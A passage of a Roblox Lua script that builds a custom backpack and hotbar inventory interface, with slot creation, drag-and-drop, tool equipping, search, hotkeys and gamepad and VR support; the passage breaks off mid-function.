local TOOLTIP_BUFFER = 6
local TOOLTIP_HEIGHT = 16
local TOOLTIP_OFFSET = -25 -- From top
local ARROW_IMAGE_OPEN = 'rbxasset://textures/ui/TopBar/inventoryOn.png'
local ARROW_IMAGE_CLOSE = 'rbxasset://textures/ui/TopBar/inventoryOff.png'
local ARROW_HOTKEY = {Enum.KeyCode.Backquote, Enum.KeyCode.DPadUp} --TODO: Hookup '~' too?
local ICON_MODULE = script.Icon
local HOTBAR_SLOTS_FULL = 10
local HOTBAR_SLOTS_VR = 6
local HOTBAR_SLOTS_MINI = 4
local HOTBAR_SLOTS_WIDTH_CUTOFF = 1024 -- Anything smaller is MINI
local HOTBAR_OFFSET_FROMBOTTOM = -30 -- Offset to make room for the Health GUI
local INVENTORY_ROWS_FULL = 4
local INVENTORY_ROWS_VR = 3
local INVENTORY_ROWS_MINI = 2
local INVENTORY_HEADER_SIZE = 25
local INVENTORY_ARROWS_BUFFER_VR = 40
local SEARCH_BUFFER = 4
local SEARCH_WIDTH = 125
local SEARCH_TEXT = "Search"
local SEARCH_TEXT_OFFSET_FROMLEFT = 0
local SEARCH_BACKGROUND_COLOR = Color3.new(0, 0, 0)
local SEARCH_BACKGROUND_FADE = 0.7
local DOUBLE_CLICK_TIME = 0.5
local GetScreenResolution = function ()
local I = Instance.new("ScreenGui", game.Players.LocalPlayer.PlayerGui)
local Frame = Instance.new("Frame", I)
Frame.BackgroundTransparency = 1
Frame.Size = UDim2.new(1,0,1,0)
local AbsoluteSize = Frame.AbsoluteSize
I:Destroy()
return AbsoluteSize
end
local ZERO_KEY_VALUE = Enum.KeyCode.Zero.Value
local DROP_HOTKEY_VALUE = Enum.KeyCode.Backspace.Value
local GAMEPAD_INPUT_TYPES =
{
[Enum.UserInputType.Gamepad1] = true;
[Enum.UserInputType.Gamepad2] = true;
[Enum.UserInputType.Gamepad3] = true;
[Enum.UserInputType.Gamepad4] = true;
[Enum.UserInputType.Gamepad5] = true;
[Enum.UserInputType.Gamepad6] = true;
[Enum.UserInputType.Gamepad7] = true;
[Enum.UserInputType.Gamepad8] = true;
}
local UserInputService = game:GetService('UserInputService')
local PlayersService = game:GetService('Players')
local ReplicatedStorage = game:GetService('ReplicatedStorage')
local StarterGui = game:GetService('StarterGui')
local GuiService = game:GetService('GuiService')
local CoreGui = PlayersService.LocalPlayer.PlayerGui
local TopbarPlusReference = ReplicatedStorage:FindFirstChild("TopbarPlusReference")
local BackpackEnabled = true
if TopbarPlusReference then
ICON_MODULE = TopbarPlusReference.Value
end
local RobloxGui = Instance.new("ScreenGui", CoreGui)
RobloxGui.DisplayOrder = 120
RobloxGui.IgnoreGuiInset = true
RobloxGui.ResetOnSpawn = false
RobloxGui.Name = "BackpackGui"
local CanHover = true
local ContextActionService = game:GetService("ContextActionService")
local RunService = game:GetService('RunService')
local VRService = game:GetService('VRService')
local Utility = require(script.Utility)
local GameTranslator = require(script.GameTranslator)
local Themes = require(ICON_MODULE.Themes)
local Icon = require(ICON_MODULE)
local FFlagBackpackScriptUseFormatByKey = true
local FFlagCoreScriptTranslateGameText2 = true
local FFlagRobloxGuiSiblingZindexs = true
local IsTenFootInterface = GuiService:IsTenFootInterface()
if IsTenFootInterface then
ICON_SIZE = 100
FONT_SIZE = Enum.FontSize.Size24
end
local GamepadActionsBound = false
local IS_PHONE = UserInputService.TouchEnabled and GetScreenResolution().X < HOTBAR_SLOTS_WIDTH_CUTOFF
local Player = PlayersService.LocalPlayer
local MainFrame = nil
local HotbarFrame = nil
local InventoryFrame = nil
local VRInventorySelector = nil
local ScrollingFrame = nil
local UIGridFrame = nil
local UIGridLayout = nil
local ScrollUpInventoryButton = nil
local ScrollDownInventoryButton = nil
local Character = Player.Character or Player.CharacterAdded:Wait()
local Humanoid = Character:FindFirstChildOfClass("Humanoid")
local Backpack = Player:WaitForChild("Backpack")
local InventoryIcon = Icon.new()
InventoryIcon:setImage(ARROW_IMAGE_CLOSE, "deselected")
InventoryIcon:setImage(ARROW_IMAGE_OPEN, "selected")
InventoryIcon:setTheme(Themes.BlueGradient)
InventoryIcon:bindToggleKey(ARROW_HOTKEY[1], ARROW_HOTKEY[2])
InventoryIcon:setName("InventoryIcon")
InventoryIcon:setImageYScale(1.12)
InventoryIcon:setOrder(-5)
InventoryIcon.deselectWhenOtherIconSelected = false
local Slots = {} -- List of all Slots by index
local LowestEmptySlot = nil
local SlotsByTool = {} -- Map of Tools to their assigned Slots
local HotkeyFns = {} -- Map of KeyCode values to their assigned behaviors
local Dragging = {} -- Only used to check if anything is being dragged, to disable other input
local FullHotbarSlots = 0 -- Now being used to also determine whether or not LB and RB on the gamepad are enabled.
local StarterToolFound = false -- Special handling is required for the gear currently equipped on the site
local WholeThingEnabled = false
local TextBoxFocused = false -- ANY TextBox, not just the search box
local ViewingSearchResults = false -- If the results of a search are currently being viewed
local HotkeyStrings = {} -- Used for eating/releasing hotkeys
local CharConns = {} -- Holds character Connections to be cleared later
local GamepadEnabled = false -- determines if our gui needs to be gamepad friendly
local TimeOfLastToolChange = 0
local IsVR = VRService.VREnabled -- Are we currently using a VR device?
local NumberOfHotbarSlots = IsVR and HOTBAR_SLOTS_VR or (IS_PHONE and HOTBAR_SLOTS_MINI or HOTBAR_SLOTS_FULL) -- Number of slots shown at the bottom
local NumberOfInventoryRows = IsVR and INVENTORY_ROWS_VR or (IS_PHONE and INVENTORY_ROWS_MINI or INVENTORY_ROWS_FULL) -- How many rows in the popped-up inventory
local BackpackPanel = nil
local lastEquippedSlot = nil
local function EvaluateBackpackPanelVisibility(enabled)
return enabled and InventoryIcon.enabled and BackpackEnabled and VRService.VREnabled
end
local function ShowVRBackpackPopup()
if BackpackPanel and EvaluateBackpackPanelVisibility(true) then
BackpackPanel:ForceShowForSeconds(2)
end
end
local function NewGui(className, objectName)
local newGui = Instance.new(className)
newGui.Name = objectName
newGui.BackgroundColor3 = Color3.new(0, 0, 0)
newGui.BackgroundTransparency = 1
newGui.BorderColor3 = Color3.new(0, 0, 0)
newGui.BorderSizePixel = 0
newGui.Size = UDim2.new(1, 0, 1, 0)
if className:match('Text') then
newGui.TextColor3 = Color3.new(1, 1, 1)
newGui.Text = ''
newGui.Font = Enum.Font.SourceSans
newGui.FontSize = FONT_SIZE
newGui.TextWrapped = true
if className == 'TextButton' then
newGui.Font = Enum.Font.SourceSansSemibold
newGui.BorderSizePixel = 1
end
end
return newGui
end
local function FindLowestEmpty()
for i = 1, NumberOfHotbarSlots do
local slot = Slots[i]
if not slot.Tool then
return slot
end
end
return nil
end
local function isInventoryEmpty()
for i = NumberOfHotbarSlots + 1, #Slots do
local slot = Slots[i]
if slot and slot.Tool then
return false
end
end
return true
end
local function UseGazeSelection()
return UserInputService.VREnabled
end
local function AdjustHotbarFrames()
local inventoryOpen = InventoryFrame.Visible -- (Show all)
local visualTotal = (inventoryOpen) and NumberOfHotbarSlots or FullHotbarSlots
local visualIndex = 0
local hotbarIsVisible = (visualTotal >= 1)
for i = 1, NumberOfHotbarSlots do
local slot = Slots[i]
if slot.Tool or inventoryOpen then
visualIndex = visualIndex + 1
slot:Readjust(visualIndex, visualTotal)
slot.Frame.Visible = true
else
slot.Frame.Visible = false
end
end
end
local function UpdateScrollingFrameCanvasSize()
local countX = math.floor(ScrollingFrame.AbsoluteSize.X/(ICON_SIZE + ICON_BUFFER))
local maxRow = math.ceil((#UIGridFrame:GetChildren() - 1)/countX)
local canvasSizeY = maxRow*(ICON_SIZE + ICON_BUFFER) + ICON_BUFFER
ScrollingFrame.CanvasSize = UDim2.new(0, 0, 0, canvasSizeY)
end
local function AdjustInventoryFrames()
for i = NumberOfHotbarSlots + 1, #Slots do
local slot = Slots[i]
slot.Frame.LayoutOrder = slot.Index
slot.Frame.Visible = (slot.Tool ~= nil)
end
UpdateScrollingFrameCanvasSize()
end
local function UpdateBackpackLayout()
HotbarFrame.Size = UDim2.new(0, ICON_BUFFER + (NumberOfHotbarSlots * (ICON_SIZE + ICON_BUFFER)) + 120, 0, ICON_BUFFER + ICON_SIZE + ICON_BUFFER)
HotbarFrame.Position = UDim2.new(0.5, -HotbarFrame.Size.X.Offset / 2, 1, -HotbarFrame.Size.Y.Offset)
InventoryFrame.Size = UDim2.new(0, HotbarFrame.Size.X.Offset, 0, (HotbarFrame.Size.Y.Offset * NumberOfInventoryRows) + INVENTORY_HEADER_SIZE + (IsVR and 2*INVENTORY_ARROWS_BUFFER_VR or 0))
InventoryFrame.Position = UDim2.new(0.5, -InventoryFrame.Size.X.Offset / 2, 1, HotbarFrame.Position.Y.Offset - InventoryFrame.Size.Y.Offset)
local uic = Instance.new("UICorner")
uic.CornerRadius = UDim.new(0.015, 0)
uic.Parent = InventoryFrame
ScrollingFrame.Size = UDim2.new(1, ScrollingFrame.ScrollBarThickness + 1, 1, -INVENTORY_HEADER_SIZE - (IsVR and 2*INVENTORY_ARROWS_BUFFER_VR or 0))
ScrollingFrame.Position = UDim2.new(0, 0, 0, INVENTORY_HEADER_SIZE + (IsVR and INVENTORY_ARROWS_BUFFER_VR or 0))
AdjustHotbarFrames()
AdjustInventoryFrames()
end
local function Clamp(low, high, num)
return math.min(high, math.max(low, num))
end
local function CheckBounds(guiObject, x, y)
local pos = guiObject.AbsolutePosition
local size = guiObject.AbsoluteSize
return (x > pos.X and x <= pos.X + size.X and y > pos.Y and y <= pos.Y + size.Y)
end
local function GetOffset(guiObject, point)
local centerPoint = guiObject.AbsolutePosition + (guiObject.AbsoluteSize / 2)
return (centerPoint - point).magnitude
end
local function UnequipAllTools() --NOTE: HopperBin
if Humanoid then
Humanoid:UnequipTools()
end
end
local function EquipNewTool(tool) --NOTE: HopperBin
UnequipAllTools()
--Humanoid:EquipTool(tool) --NOTE: This would also unequip current Tool
tool.Parent = Character --TODO: Switch back to above line after EquipTool is fixed!
end
local function IsEquipped(tool)
return tool and tool.Parent == Character --NOTE: HopperBin
end
local function MakeSlot(parent, index)
index = index or (#Slots + 1)
-- Slot Definition --
local slot = {}
slot.Tool = nil
slot.Index = index
slot.Frame = nil
local LocalizedName = nil --remove with FFlagCoreScriptTranslateGameText2
local LocalizedToolTip = nil --remove with FFlagCoreScriptTranslateGameText2
local SlotFrameParent = nil
local SlotFrame = nil
local FakeSlotFrame = nil
local ToolIcon = nil
local ToolName = nil
local ToolChangeConn = nil
local HighlightFrame = nil
local SelectionObj = nil
--NOTE: The following are only defined for Hotbar Slots
local ToolTip = nil
local SlotNumber = nil
-- Slot Functions --
local function UpdateSlotFading()
if VRService.VREnabled and BackpackPanel then
local panelTransparency = BackpackPanel.transparency
local slotTransparency = SLOT_FADE_LOCKED
-- This equation multiplies the two transparencies together.
local finalTransparency = panelTransparency + slotTransparency - panelTransparency * slotTransparency
SlotFrame.BackgroundTransparency = finalTransparency
SlotFrame.TextTransparency = finalTransparency
if ToolIcon then
ToolIcon.ImageTransparency = InventoryFrame.Visible and 0 or panelTransparency
end
if HighlightFrame then
for _, child in pairs(HighlightFrame:GetChildren()) do
child.BackgroundTransparency = finalTransparency
end
end
SlotFrame.SelectionImageObject = SelectionObj
else
SlotFrame.SelectionImageObject = nil
SlotFrame.BackgroundTransparency = (SlotFrame.Draggable) and SLOT_DRAGGABLE_TRANSPARENCY or SLOT_FADE_LOCKED
end
SlotFrame.BackgroundColor3 = (SlotFrame.Draggable) and SLOT_DRAGGABLE_COLOR or BACKGROUND_COLOR
if SlotFrame:FindFirstChild("Equipped") then
SlotFrame.BackgroundColor3 = Color3.fromRGB(105, 105, 105)
end
end
function slot:Readjust(visualIndex, visualTotal) --NOTE: Only used for Hotbar slots
local centered = HotbarFrame.Size.X.Offset / 2
local sizePlus = ICON_BUFFER + ICON_SIZE
local midpointish = (visualTotal / 2) + 0.5
local factor = visualIndex - midpointish
SlotFrame.Position = UDim2.new(0, centered - (ICON_SIZE / 2) + (sizePlus * factor), 0, ICON_BUFFER)
end
function slot:Fill(tool)
if not tool then
return self:Clear()
end
self.Tool = tool
local function assignToolData()
if FFlagCoreScriptTranslateGameText2 then
local icon = tool.TextureId
ToolIcon.Image = icon
if icon ~= "" then
ToolName.Visible = false
end
ToolName.Text = tool.Name
if ToolTip and tool:IsA('Tool') then --NOTE: HopperBin
ToolTip.Text = tool.ToolTip
local width = ToolTip.TextBounds.X + TOOLTIP_BUFFER
ToolTip.Size = UDim2.new(0, width, 0, TOOLTIP_HEIGHT)
ToolTip.Position = UDim2.new(0.5, -width / 2, 0, TOOLTIP_OFFSET)
end
else
LocalizedName = tool.Name
LocalizedToolTip = nil
local icon = tool.TextureId
ToolIcon.Image = icon
ToolIcon.AnchorPoint = Vector2.new(0.5,0.5)
ToolIcon.Position = UDim2.fromScale(0.5, 0.5)
if icon ~= '' then
ToolName.Text = LocalizedName
else
ToolName.Text = ""
end -- (Only show name if no icon)
if ToolTip and tool:IsA('Tool') then --NOTE: HopperBin
LocalizedToolTip = GameTranslator:TranslateGameText(tool, tool.ToolTip)
ToolTip.Text = tool.ToolTip
local width = ToolTip.TextBounds.X + TOOLTIP_BUFFER
ToolTip.Size = UDim2.new(0, width, 0, TOOLTIP_HEIGHT)
ToolTip.Position = UDim2.new(0.5, -width / 2, 0, TOOLTIP_OFFSET)
end
end
end
assignToolData()
if ToolChangeConn then
ToolChangeConn:disconnect()
ToolChangeConn = nil
end
ToolChangeConn = tool.Changed:connect(function(property)
if property == 'TextureId' or property == 'Name' or property == 'ToolTip' then
assignToolData()
end
end)
local hotbarSlot = (self.Index <= NumberOfHotbarSlots)
local inventoryOpen = InventoryFrame.Visible
if (not hotbarSlot or inventoryOpen) and not UserInputService.VREnabled then
SlotFrame.Draggable = true
end
self:UpdateEquipView()
if hotbarSlot then
FullHotbarSlots = FullHotbarSlots + 1
-- If using a controller, determine whether or not we can enable BindCoreAction("RBXHotbarEquip", etc)
if WholeThingEnabled then
if FullHotbarSlots >= 1 and not GamepadActionsBound then
-- Player added first item to a hotbar slot, enable BindCoreAction
GamepadActionsBound = true
ContextActionService:BindAction("RBXHotbarEquip", changeToolFunc, false, Enum.KeyCode.ButtonL1, Enum.KeyCode.ButtonR1)
end
end
end
SlotsByTool[tool] = self
LowestEmptySlot = FindLowestEmpty()
end
function slot:Clear()
if not self.Tool then return end
if ToolChangeConn then
ToolChangeConn:disconnect()
ToolChangeConn = nil
end
ToolIcon.Image = ''
ToolName.Text = ''
if ToolTip then
ToolTip.Text = ''
ToolTip.Visible = false
end
SlotFrame.Draggable = false
self:UpdateEquipView(true) -- Show as unequipped
if self.Index <= NumberOfHotbarSlots then
FullHotbarSlots = FullHotbarSlots - 1
if FullHotbarSlots < 1 then
-- Player removed last item from hotbar; UnbindCoreAction("RBXHotbarEquip"), allowing the developer to use LB and RB.
GamepadActionsBound = false
ContextActionService:UnbindAction("RBXHotbarEquip")
end
end
SlotsByTool[self.Tool] = nil
self.Tool = nil
LowestEmptySlot = FindLowestEmpty()
end
function slot:UpdateEquipView(unequippedOverride)
if not unequippedOverride and IsEquipped(self.Tool) then -- Equipped
lastEquippedSlot = slot
if not HighlightFrame then
HighlightFrame = NewGui('Frame', 'Equipped')
HighlightFrame.ZIndex = SlotFrame.ZIndex
local ring = script.Cover:Clone()
ring.Parent = HighlightFrame
local t = SLOT_EQUIP_THICKNESS
local dataTable = { -- Relative sizes and positions
{t, 1, 0, 0},
{1 - 2*t, t, t, 0},
{t, 1, 1 - t, 0},
{1 - 2*t, t, t, 1 - t},
}
for _, data in pairs(dataTable) do
local edgeFrame = NewGui("Frame", "Edge")
edgeFrame.BackgroundTransparency = 1
edgeFrame.BackgroundColor3 = SLOT_EQUIP_COLOR
edgeFrame.Size = UDim2.new(data[1], 0, data[2], 0)
edgeFrame.Position = UDim2.new(data[3], 0, data[4], 0)
edgeFrame.ZIndex = HighlightFrame.ZIndex
edgeFrame.Parent = HighlightFrame
end
end
HighlightFrame.Parent = SlotFrame
else -- In the Backpack
if HighlightFrame then
HighlightFrame.Parent = nil
end
end
UpdateSlotFading()
if not unequippedOverride and IsEquipped(self.Tool) then
SlotFrame.BackgroundColor3 = Color3.fromRGB(105, 105, 105)
else
SlotFrame.BackgroundColor3 = Color3.fromRGB(31,31,31)
end
end
function slot:IsEquipped()
return IsEquipped(self.Tool)
end
function slot:Delete()
SlotFrame:Destroy() --NOTE: Also clears connections
table.remove(Slots, self.Index)
local newSize = #Slots
-- Now adjust the rest (both visually and representationally)
for i = self.Index, newSize do
Slots[i]:SlideBack()
end
UpdateScrollingFrameCanvasSize()
end
function slot:Swap(targetSlot) --NOTE: This slot (self) must not be empty!
local myTool, otherTool = self.Tool, targetSlot.Tool
self:Clear()
if otherTool then -- (Target slot might be empty)
targetSlot:Clear()
self:Fill(otherTool)
end
if myTool then
targetSlot:Fill(myTool)
else
targetSlot:Clear()
end
end
function slot:SlideBack() -- For inventory slot shifting
self.Index = self.Index - 1
SlotFrame.Name = self.Index
SlotFrame.LayoutOrder = self.Index
end
function slot:TurnNumber(on)
if SlotNumber then
SlotNumber.Visible = on
end
end
function slot:SetClickability(on) -- (Happens on open/close arrow)
if self.Tool then
if UserInputService.VREnabled then
SlotFrame.Draggable = false
else
SlotFrame.Draggable = not on
end
UpdateSlotFading()
end
end
function slot:CheckTerms(terms)
local hits = 0
local function checkEm(str, term)
local _, n = str:lower():gsub(term, '')
hits = hits + n
end
local tool = self.Tool
if tool then
for term in pairs(terms) do
if FFlagCoreScriptTranslateGameText2 then
checkEm(ToolName.Text, term)
if tool:IsA('Tool') then --NOTE: HopperBin
local toolTipText = ToolTip and ToolTip.Text or ""
checkEm(toolTipText, term)
end
else
checkEm(LocalizedName, term)
if tool:IsA('Tool') then --NOTE: HopperBin
checkEm(LocalizedToolTip, term)
end
end
end
end
return hits
end
-- Slot select logic, activated by clicking or pressing hotkey
function slot:Select()
local tool = slot.Tool
if tool then
if IsEquipped(tool) then --NOTE: HopperBin
UnequipAllTools()
elseif tool.Parent == Backpack then
EquipNewTool(tool)
end
end
end
-- Slot Init Logic --
SlotFrame = NewGui('TextButton', index)
SlotFrame.BackgroundColor3 = BACKGROUND_COLOR
SlotFrame.BorderColor3 = SLOT_BORDER_COLOR
SlotFrame.Text = ""
SlotFrame.AutoButtonColor = false
SlotFrame.BorderSizePixel = 0
SlotFrame.Size = UDim2.new(0, ICON_SIZE, 0, ICON_SIZE)
SlotFrame.Active = true
SlotFrame.Draggable = false
SlotFrame.BackgroundTransparency = SLOT_FADE_LOCKED
SlotFrame.MouseButton1Click:connect(function() changeSlot(slot) end)
local slotFrameUIC = Instance.new("UICorner")
slotFrameUIC.CornerRadius = UDim.new(1, 0)
slotFrameUIC.Parent = SlotFrame
local slotFrameStroke = Instance.new("UIStroke")
slotFrameStroke.Transparency = 0.9
slotFrameStroke.Thickness = 2
slotFrameStroke.Parent = SlotFrame
slot.Frame = SlotFrame
do
local selectionObjectClipper = NewGui('Frame', 'SelectionObjectClipper')
selectionObjectClipper.Visible = false
selectionObjectClipper.Parent = SlotFrame
SelectionObj = NewGui('ImageLabel', 'Selector')
SelectionObj.Size = UDim2.new(1, 0, 1, 0)
SelectionObj.Image = "rbxasset://textures/ui/Keyboard/key_selection_9slice.png"
SelectionObj.ScaleType = Enum.ScaleType.Slice
SelectionObj.SliceCenter = Rect.new(12,12,52,52)
SelectionObj.Parent = selectionObjectClipper
end
ToolIcon = NewGui('ImageLabel', 'Icon')
ToolIcon.AnchorPoint = Vector2.new(0.5, 0.5)
ToolIcon.Size = UDim2.new(1, 0, 1, 0)
ToolIcon.Position = UDim2.new(0.5, 0, 0.5, 0)
ToolIcon.Parent = SlotFrame
ToolName = NewGui('TextLabel', 'ToolName')
ToolName.AnchorPoint = Vector2.new(0.5, 0.5)
ToolName.Size = UDim2.new(0.9, 0, 1, 0)
ToolName.Position = UDim2.new(0.5, 0, 0.5, 0)
ToolName.Font = Enum.Font.JosefinSans
ToolName.Parent = SlotFrame
slot.Frame.LayoutOrder = slot.Index
if index <= NumberOfHotbarSlots then -- Hotbar-Specific Slot Stuff
-- ToolTip stuff
ToolTip = NewGui('TextLabel', 'ToolTip')
ToolTip.ZIndex = 2
ToolTip.TextWrapped = false
ToolTip.TextYAlignment = Enum.TextYAlignment.Top
ToolTip.BackgroundColor3 = Color3.new(0.4, 0.4, 0.4)
ToolTip.BackgroundTransparency = 1
ToolTip.Font = Enum.Font.Oswald
ToolTip.Visible = false
ToolTip.Parent = SlotFrame
SlotFrame.MouseEnter:connect(function()
if ToolTip.Text ~= '' then
ToolTip.Visible = true
end
end)
SlotFrame.MouseLeave:connect(function() ToolTip.Visible = false end)
function slot:MoveToInventory()
if slot.Index <= NumberOfHotbarSlots then -- From a Hotbar slot
local tool = slot.Tool
self:Clear() --NOTE: Order matters here
local newSlot = MakeSlot(UIGridFrame)
newSlot:Fill(tool)
if IsEquipped(tool) then -- Also unequip it --NOTE: HopperBin
UnequipAllTools()
end
-- Also hide the inventory slot if we're showing results right now
if ViewingSearchResults then
newSlot.Frame.Visible = false
newSlot.Parent = InventoryFrame
end
end
end
-- Show label and assign hotkeys for 1-9 and 0 (zero is always last slot when > 10 total)
if index < 10 or index == NumberOfHotbarSlots then -- NOTE: Hardcoded on purpose!
local slotNum = (index < 10) and index or 0
SlotNumber = NewGui('TextLabel', 'Number')
SlotNumber.Text = slotNum
SlotNumber.TextScaled = true
SlotNumber.Position = UDim2.new(0.325,0,0.75,0)
SlotNumber.Font = Enum.Font.GothamMedium
SlotNumber.Size = UDim2.new(0.4, 0, 0.2, 0)
SlotNumber.Visible = false
SlotNumber.Parent = SlotFrame
HotkeyFns[ZERO_KEY_VALUE + slotNum] = slot.Select
end
end
do -- Dragging Logic
local startPoint = SlotFrame.Position
local lastUpTime = 0
local startParent = nil
SlotFrame.DragBegin:connect(function(dragPoint)
Dragging[SlotFrame] = true
startPoint = dragPoint
SlotFrame.BorderSizePixel = 2
InventoryIcon:lock()
-- Raise above other slots
SlotFrame.ZIndex = 2
ToolIcon.ZIndex = 2
ToolName.ZIndex = 2
if FFlagRobloxGuiSiblingZindexs then
SlotFrame.Parent.ZIndex = 2
end
if SlotNumber then
SlotNumber.ZIndex = 2
end
if HighlightFrame then
HighlightFrame.ZIndex = 2
for _, child in pairs(HighlightFrame:GetChildren()) do
if not child:IsA("UICorner") then
child.ZIndex = 2
end
end
end
-- Circumvent the ScrollingFrame's ClipsDescendants property
startParent = SlotFrame.Parent
if startParent == UIGridFrame then
local oldAbsolutPos = SlotFrame.AbsolutePosition
local newPosition = UDim2.new(0, SlotFrame.AbsolutePosition.X - InventoryFrame.AbsolutePosition.X, 0, SlotFrame.AbsolutePosition.Y - InventoryFrame.AbsolutePosition.Y)
SlotFrame.Parent = InventoryFrame
SlotFrame.Position = newPosition
FakeSlotFrame = NewGui('Frame', 'FakeSlot')
FakeSlotFrame.LayoutOrder = SlotFrame.LayoutOrder
local UIC = Instance.new("UICorner")
UIC.CornerRadius = UDim.new(0.07, 0)
UIC.Parent = FakeSlotFrame
FakeSlotFrame.Size = SlotFrame.Size
FakeSlotFrame.BackgroundTransparency = 1
FakeSlotFrame.Parent = UIGridFrame
end
end)
SlotFrame.DragStopped:connect(function(x, y)
if FakeSlotFrame then
FakeSlotFrame:Destroy()
end
local now = tick()
SlotFrame.Position = startPoint
SlotFrame.Parent = startParent
SlotFrame.BorderSizePixel = 0
InventoryIcon:unlock()
-- Restore height
SlotFrame.ZIndex = 1
ToolIcon.ZIndex = 1
ToolName.ZIndex = 1
if FFlagRobloxGuiSiblingZindexs then
startParent.ZIndex = 1
end
if SlotNumber then
SlotNumber.ZIndex = 1
end
if HighlightFrame then
HighlightFrame.ZIndex = 1
for _, child in pairs(HighlightFrame:GetChildren()) do
if not child:IsA("UICorner") then
child.ZIndex = 1
end
end
end
Dragging[SlotFrame] = nil
-- Make sure the tool wasn't dropped
if not slot.Tool then
return
end
-- Check where we were dropped
if CheckBounds(InventoryFrame, x, y) then
if slot.Index <= NumberOfHotbarSlots then
slot:MoveToInventory()
end
-- Check for double clicking on an inventory slot, to move into empty hotbar slot
if slot.Index > NumberOfHotbarSlots and now - lastUpTime < DOUBLE_CLICK_TIME then
if LowestEmptySlot then
local myTool = slot.Tool
slot:Clear()
LowestEmptySlot:Fill(myTool)
slot:Delete()
end
now = 0 -- Resets the timer
end
elseif CheckBounds(HotbarFrame, x, y) then
local closest = {math.huge, nil}
for i = 1, NumberOfHotbarSlots do
local otherSlot = Slots[i]
local offset = GetOffset(otherSlot.Frame, Vector2.new(x, y))
if offset < closest[1] then
closest = {offset, otherSlot}
end
end
local closestSlot = closest[2]
if closestSlot ~= slot then
slot:Swap(closestSlot)
if slot.Index > NumberOfHotbarSlots then
local tool = slot.Tool
if not tool then -- Clean up after ourselves if we're an inventory slot that's now empty
slot:Delete()
else -- Moved inventory slot to hotbar slot, and gained a tool that needs to be unequipped
if IsEquipped(tool) then --NOTE: HopperBin
UnequipAllTools()
end
-- Also hide the inventory slot if we're showing results right now
if ViewingSearchResults then
slot.Frame.Visible = false
slot.Frame.Parent = InventoryFrame
end
end
end
end
else
-- local tool = slot.Tool
-- if tool.CanBeDropped then --TODO: HopperBins
-- tool.Parent = workspace
-- --TODO: Move away from character
-- end
if slot.Index <= NumberOfHotbarSlots then
slot:MoveToInventory() --NOTE: Temporary
end
end
lastUpTime = now
end)
end
-- All ready!
SlotFrame.Parent = parent
Slots[index] = slot
if index > NumberOfHotbarSlots then
UpdateScrollingFrameCanvasSize()
-- Scroll to new inventory slot, if we're open and not viewing search results
if InventoryFrame.Visible and not ViewingSearchResults then
local offset = ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y
ScrollingFrame.CanvasPosition = Vector2.new(0, math.max(0, offset))
end
end
return slot
end
local function OnChildAdded(child) -- To Character or Backpack
if not child:IsA('Tool') then --NOTE: HopperBin
if child:IsA('Humanoid') and child.Parent == Character then
Humanoid = child
end
return
end
local tool = child
if tool.Parent == Character then
ShowVRBackpackPopup()
TimeOfLastToolChange = tick()
end
--TODO: Optimize / refactor / do something else
if not StarterToolFound and tool.Parent == Character and not SlotsByTool[tool] then
local starterGear = Player:FindFirstChild('StarterGear')
if starterGear then
if starterGear:FindFirstChild(tool.Name) then
StarterToolFound = true
local slot = LowestEmptySlot or MakeSlot(UIGridFrame)
for i = slot.Index, 1, -1 do
local curr = Slots[i] -- An empty slot, because above
local pIndex = i - 1
if pIndex > 0 then
local prev = Slots[pIndex] -- Guaranteed to be full, because above
prev:Swap(curr)
else
curr:Fill(tool)
end
end
-- Have to manually unequip a possibly equipped tool
for _, child in pairs(Character:GetChildren()) do
if child:IsA('Tool') and child ~= tool then
child.Parent = Backpack
end
end
AdjustHotbarFrames()
return -- We're done here
end
end
end
-- The tool is either moving or new
local slot = SlotsByTool[tool]
if slot then
slot:UpdateEquipView()
else -- New! Put into lowest hotbar slot or new inventory slot
slot = LowestEmptySlot or MakeSlot(UIGridFrame)
slot:Fill(tool)
if slot.Index <= NumberOfHotbarSlots and not InventoryFrame.Visible then
AdjustHotbarFrames()
end
end
end
local function OnChildRemoved(child) -- From Character or Backpack
if not child:IsA('Tool') then --NOTE: HopperBin
return
end
local tool = child
ShowVRBackpackPopup()
TimeOfLastToolChange = tick()
-- Ignore this event if we're just moving between the two
local newParent = tool.Parent
if newParent == Character or newParent == Backpack then
return
end
local slot = SlotsByTool[tool]
if slot then
slot:Clear()
if slot.Index > NumberOfHotbarSlots then -- Inventory slot
slot:Delete()
elseif not InventoryFrame.Visible then
AdjustHotbarFrames()
end
end
end
local function OnCharacterAdded(character)
-- First, clean up any old slots
for i = #Slots, 1, -1 do
local slot = Slots[i]
if slot.Tool then
slot:Clear()
end
if i > NumberOfHotbarSlots then
slot:Delete()
end
end
-- And any old Connections
for _, conn in pairs(CharConns) do
conn:Disconnect()
end
CharConns = {}
-- Hook up the new character
Character = character
table.insert(CharConns, character.ChildRemoved:Connect(OnChildRemoved))
table.insert(CharConns, character.ChildAdded:Connect(OnChildAdded))
for _, child in pairs(character:GetChildren()) do
OnChildAdded(child)
end
--NOTE: Humanoid is set inside OnChildAdded
-- And the new backpack, when it gets here
Backpack = Player:WaitForChild('Backpack')
table.insert(CharConns, Backpack.ChildRemoved:Connect(OnChildRemoved))
table.insert(CharConns, Backpack.ChildAdded:Connect(OnChildAdded))
for _, child in pairs(Backpack:GetChildren()) do
OnChildAdded(child)
end
AdjustHotbarFrames()
end
local function OnInputBegan(input, isProcessed)
-- Pass through keyboard hotkeys when not typing into a TextBox and not disabled (except for the Drop key)
if input.UserInputType == Enum.UserInputType.Keyboard and not TextBoxFocused and (WholeThingEnabled or input.KeyCode.Value == DROP_HOTKEY_VALUE) then
local hotkeyBehavior = HotkeyFns[input.KeyCode.Value]
if hotkeyBehavior then
hotkeyBehavior(isProcessed)
end
end
local inputType = input.UserInputType
if not isProcessed then
if inputType == Enum.UserInputType.MouseButton1 or inputType == Enum.UserInputType.Touch then
if InventoryFrame.Visible then
InventoryIcon:deselect()
end
end
end
end
local function OnUISChanged(property)
if property == 'KeyboardEnabled' or property == "VREnabled" then
local on = UserInputService.KeyboardEnabled and not UserInputService.VREnabled
for i = 1, NumberOfHotbarSlots do
Slots[i]:TurnNumber(on)
end
end
end
local lastChangeToolInputObject = nil
local lastChangeToolInputTime = nil
local maxEquipDeltaTime = 0.06
local noOpFunc = function() end
local selectDirection = Vector2.new(0,0)
local hotbarVisible = false
function unbindAllGamepadEquipActions()
ContextActionService:UnbindAction("RBXBackpackHasGamepadFocus")
ContextActionService:UnbindAction("RBXCloseInventory")
end
local function setHotbarVisibility(visible, isInventoryScreen)
for i = 1, NumberOfHotbarSlots do
local hotbarSlot = Slots[i]
